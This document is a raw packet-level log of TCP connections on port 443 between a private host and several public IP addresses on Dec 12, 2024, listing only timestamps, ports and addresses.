Dec 12, 2024 16:47:00.225414991 CET	49744	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:00.225425959 CET	443	49744	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:00.225470066 CET	49744	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:00.377641916 CET	49743	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:00.377681971 CET	443	49743	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:00.391607046 CET	49744	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:00.391637087 CET	443	49744	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:03.900732040 CET	49756	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:03.900791883 CET	443	49756	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:03.900863886 CET	49756	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:03.902458906 CET	49756	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:03.902475119 CET	443	49756	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:05.008156061 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:05.008199930 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:05.008308887 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:05.010051966 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:05.010072947 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:05.013828039 CET	49763	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:05.013870001 CET	443	49763	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:05.014055014 CET	49763	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:05.014534950 CET	49763	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:05.014550924 CET	443	49763	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:05.304950953 CET	443	49756	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:05.305047035 CET	49756	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:05.308520079 CET	49756	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:05.308532000 CET	443	49756	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:05.310472012 CET	49756	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:05.310480118 CET	443	49756	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:05.310812950 CET	49756	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:05.310831070 CET	443	49756	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:05.527549982 CET	49764	443	192.168.2.8	2.16.158.82
Dec 12, 2024 16:47:05.527581930 CET	443	49764	2.16.158.82	192.168.2.8
Dec 12, 2024 16:47:05.527643919 CET	49764	443	192.168.2.8	2.16.158.82
Dec 12, 2024 16:47:05.527852058 CET	49764	443	192.168.2.8	2.16.158.82
Dec 12, 2024 16:47:05.527863026 CET	443	49764	2.16.158.82	192.168.2.8
Dec 12, 2024 16:47:06.341018915 CET	443	49756	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:06.341097116 CET	49756	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:06.341115952 CET	443	49756	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:06.341157913 CET	49756	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:06.341217041 CET	443	49756	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:06.341268063 CET	49756	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:06.350924015 CET	49756	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:06.350953102 CET	443	49756	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:06.412499905 CET	443	49763	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:06.412621021 CET	49763	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:06.446130991 CET	49763	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:06.446146011 CET	443	49763	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:06.447907925 CET	49763	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:06.447915077 CET	443	49763	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:06.447993994 CET	49763	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:06.448008060 CET	443	49763	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:06.448014021 CET	49763	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:06.448019028 CET	443	49763	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:06.448102951 CET	49763	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:06.448122978 CET	443	49763	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:06.448131084 CET	49763	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:06.448143005 CET	443	49763	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:06.448321104 CET	49763	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:06.448401928 CET	443	49763	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:06.448554039 CET	49763	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:06.448575974 CET	49763	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:06.448934078 CET	443	49763	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:06.448944092 CET	443	49763	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:06.449321032 CET	49763	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:06.449345112 CET	443	49763	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:06.449362040 CET	49763	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:06.449371099 CET	443	49763	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:06.449388981 CET	49763	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:06.449402094 CET	443	49763	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:06.475368023 CET	49769	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:06.475405931 CET	443	49769	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:06.475478888 CET	49769	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:06.475804090 CET	49769	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:06.475816011 CET	443	49769	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:06.476414919 CET	49770	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:06.476463079 CET	443	49770	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:06.476552010 CET	49770	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:06.476710081 CET	49770	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:06.476726055 CET	443	49770	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:06.493663073 CET	49771	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:06.493700981 CET	443	49771	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:06.493911982 CET	49771	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:06.498264074 CET	49771	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:06.498291969 CET	443	49771	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:06.754394054 CET	49776	443	192.168.2.8	2.16.158.80
Dec 12, 2024 16:47:06.754427910 CET	443	49776	2.16.158.80	192.168.2.8
Dec 12, 2024 16:47:06.754499912 CET	49776	443	192.168.2.8	2.16.158.80
Dec 12, 2024 16:47:06.759202003 CET	49776	443	192.168.2.8	2.16.158.80
Dec 12, 2024 16:47:06.759215117 CET	443	49776	2.16.158.80	192.168.2.8
Dec 12, 2024 16:47:06.764940977 CET	49781	443	192.168.2.8	3.160.188.68
Dec 12, 2024 16:47:06.764952898 CET	443	49781	3.160.188.68	192.168.2.8
Dec 12, 2024 16:47:06.765022993 CET	49781	443	192.168.2.8	3.160.188.68
Dec 12, 2024 16:47:06.767503977 CET	49781	443	192.168.2.8	3.160.188.68
Dec 12, 2024 16:47:06.767517090 CET	443	49781	3.160.188.68	192.168.2.8
Dec 12, 2024 16:47:06.899753094 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:06.900027037 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:06.900057077 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:06.900460005 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:06.900481939 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:06.900544882 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:06.900552034 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:06.900588036 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:06.900588036 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:06.901196957 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:06.902992964 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:06.903105021 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:06.903326035 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:06.903331995 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:06.925132036 CET	49769	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:06.925924063 CET	49784	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:06.925962925 CET	443	49784	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:06.926029921 CET	49784	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:06.926953077 CET	49784	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:06.926974058 CET	443	49784	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:06.927812099 CET	49770	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:06.928713083 CET	49781	443	192.168.2.8	3.160.188.68
Dec 12, 2024 16:47:06.929259062 CET	49764	443	192.168.2.8	2.16.158.82
Dec 12, 2024 16:47:06.929611921 CET	49776	443	192.168.2.8	2.16.158.80
Dec 12, 2024 16:47:06.931402922 CET	49790	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:06.931420088 CET	443	49790	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:06.931546926 CET	49790	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:06.932076931 CET	49771	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:06.932399988 CET	49794	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:06.932420969 CET	443	49794	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:06.932475090 CET	49794	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:06.933402061 CET	49790	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:06.933412075 CET	443	49790	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:06.933881044 CET	49794	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:06.933896065 CET	443	49794	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:06.967363119 CET	443	49769	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:06.971321106 CET	443	49776	2.16.158.80	192.168.2.8
Dec 12, 2024 16:47:06.971324921 CET	443	49781	3.160.188.68	192.168.2.8
Dec 12, 2024 16:47:06.971329927 CET	443	49770	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:06.971338034 CET	443	49764	2.16.158.82	192.168.2.8
Dec 12, 2024 16:47:06.975330114 CET	443	49771	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:07.029339075 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.069798946 CET	49796	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:07.069848061 CET	443	49796	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:07.069921017 CET	49796	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:07.070390940 CET	49796	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:07.070425034 CET	443	49796	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:07.131661892 CET	443	49764	2.16.158.82	192.168.2.8
Dec 12, 2024 16:47:07.131763935 CET	49764	443	192.168.2.8	2.16.158.82
Dec 12, 2024 16:47:07.177375078 CET	49797	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:07.177427053 CET	443	49797	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:07.177511930 CET	49797	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:07.177695036 CET	49797	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:07.177707911 CET	443	49797	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:07.208241940 CET	49798	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:07.208286047 CET	443	49798	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:07.208363056 CET	49798	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:07.208611965 CET	49798	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:07.208626986 CET	443	49798	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:07.253580093 CET	49799	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:07.253627062 CET	443	49799	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:07.253693104 CET	49799	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:07.253943920 CET	49799	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:07.253959894 CET	443	49799	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:07.584775925 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.589093924 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.589395046 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.589407921 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.596486092 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.597279072 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.597285986 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.610860109 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.611016035 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.611022949 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.620554924 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.620615959 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.620625019 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.633116007 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.633183956 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.633193016 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.672508955 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.672554970 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.704675913 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.704829931 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.704839945 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.708029032 CET	443	49769	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:07.708105087 CET	49769	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:07.708738089 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.708831072 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.708837986 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.716526985 CET	443	49770	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:07.716691017 CET	443	49770	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:07.716716051 CET	49770	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:07.716815948 CET	49770	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:07.716968060 CET	443	49771	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:07.717056036 CET	49771	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:07.776748896 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.776822090 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.776830912 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.781275988 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.781436920 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.781445026 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.792059898 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.792146921 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.792157888 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.806394100 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.806550026 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.806557894 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.819209099 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.819369078 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.819385052 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.834909916 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.834984064 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.834991932 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.846925020 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.847007990 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.847013950 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.860788107 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.860928059 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.860934019 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.873851061 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.874043941 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.874053955 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.892074108 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.892141104 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.892148972 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.899346113 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.899405003 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.899411917 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.910551071 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.910798073 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.910806894 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.922885895 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.923197985 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.923211098 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.937402964 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.937480927 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.937489986 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.964055061 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.964118004 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.964133978 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.968177080 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.968215942 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.968262911 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.968286991 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.968385935 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.974303961 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.979572058 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.979669094 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.979696989 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.979706049 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.980036974 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.986241102 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.993386984 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.993438005 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.993483067 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:07.993495941 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:07.993580103 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:08.000591040 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.008133888 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.008179903 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.008213997 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:08.008222103 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.008289099 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:08.015691996 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.022810936 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.022926092 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.022955894 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:08.022968054 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.023042917 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:08.030778885 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.042717934 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.042959929 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:08.042972088 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.045617104 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.045733929 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.045762062 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:08.045768976 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.045898914 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:08.054050922 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.061162949 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.061253071 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.061271906 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:08.061286926 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.061624050 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:08.068406105 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.075915098 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.075962067 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.076026917 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:08.076037884 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.076268911 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:08.083106995 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.090715885 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.090747118 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.090776920 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:08.090792894 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.090954065 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:08.102545023 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.114746094 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.114835978 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:08.114851952 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.116223097 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.116259098 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.116398096 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:08.116405964 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.116492033 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:08.120009899 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.129524946 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.129555941 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.129606009 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:08.129614115 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.129817009 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:08.134231091 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.156230927 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.156299114 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.156330109 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.156366110 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:08.156380892 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.156469107 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:08.157505035 CET	443	49784	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.157618046 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.157861948 CET	443	49790	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.157984972 CET	49784	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.158041954 CET	443	49784	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.158092022 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:08.158374071 CET	49790	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.158392906 CET	443	49790	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.159146070 CET	443	49784	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.159220934 CET	49784	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.159282923 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.159508944 CET	443	49790	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.159579039 CET	49790	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.160561085 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.160619974 CET	49784	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.160721064 CET	443	49784	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.160778046 CET	49762	443	192.168.2.8	142.250.181.65
Dec 12, 2024 16:47:08.160787106 CET	443	49762	142.250.181.65	192.168.2.8
Dec 12, 2024 16:47:08.160794973 CET	49784	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.160816908 CET	443	49784	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.161340952 CET	49790	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.161423922 CET	443	49790	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.161676884 CET	49790	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:08.161688089 CET	443	49790	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:08.161917925 CET	443	49794	162.159.61.3	192.168.2.8
Dec 12, 2024 16:47:08.162117004 CET	49794	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:47:08.162127018 CET	443	49794	162.159.61.3	192.168.2.8
